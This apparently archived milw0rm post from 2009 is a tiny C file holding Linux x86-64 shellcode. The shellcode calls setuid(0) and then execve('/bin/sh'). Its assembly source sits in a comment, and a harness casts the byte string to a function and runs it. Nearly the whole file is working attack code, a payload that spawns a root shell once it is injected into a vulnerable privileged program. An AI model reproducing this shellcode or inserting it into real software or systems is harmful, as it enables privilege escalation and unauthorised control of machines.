/*
setuid(0) + execve(/bin/sh) - just 4 fun.
xi4oyu [at] 80sec.com
main(){
__asm( "xorq %rdi,%rdi\n\t"
"mov $0x69,%al\n\t"
"syscall \n\t"
"xorq %rdx, %rdx \n\t"
"movq $0x68732f6e69622fff,%rbx; \n\t"
"shr $0x8, %rbx; \n\t"
"push %rbx; \n\t"
"movq %rsp,%rdi; \n\t"
"xorq %rax,%rax; \n\t"
"pushq %rax; \n\t"
"pushq %rdi; \n\t"
"movq %rsp,%rsi; \n\t"
"mov $0x3b,%al; \n\t"
"syscall ; \n\t"
"pushq $0x1 ; \n\t"
"pop %rdi ; \n\t"
"pushq $0x3c ; \n\t"
"pop %rax ; \n\t"
"syscall ; \n\t"
);
}
*/
main() {
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
"\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c"
"\x58\x0f\x05";
(*(void (*)()) shellcode)();
}
2009-05-14
evil.xi4oyu
// milw0rm.com [2009-05-14]
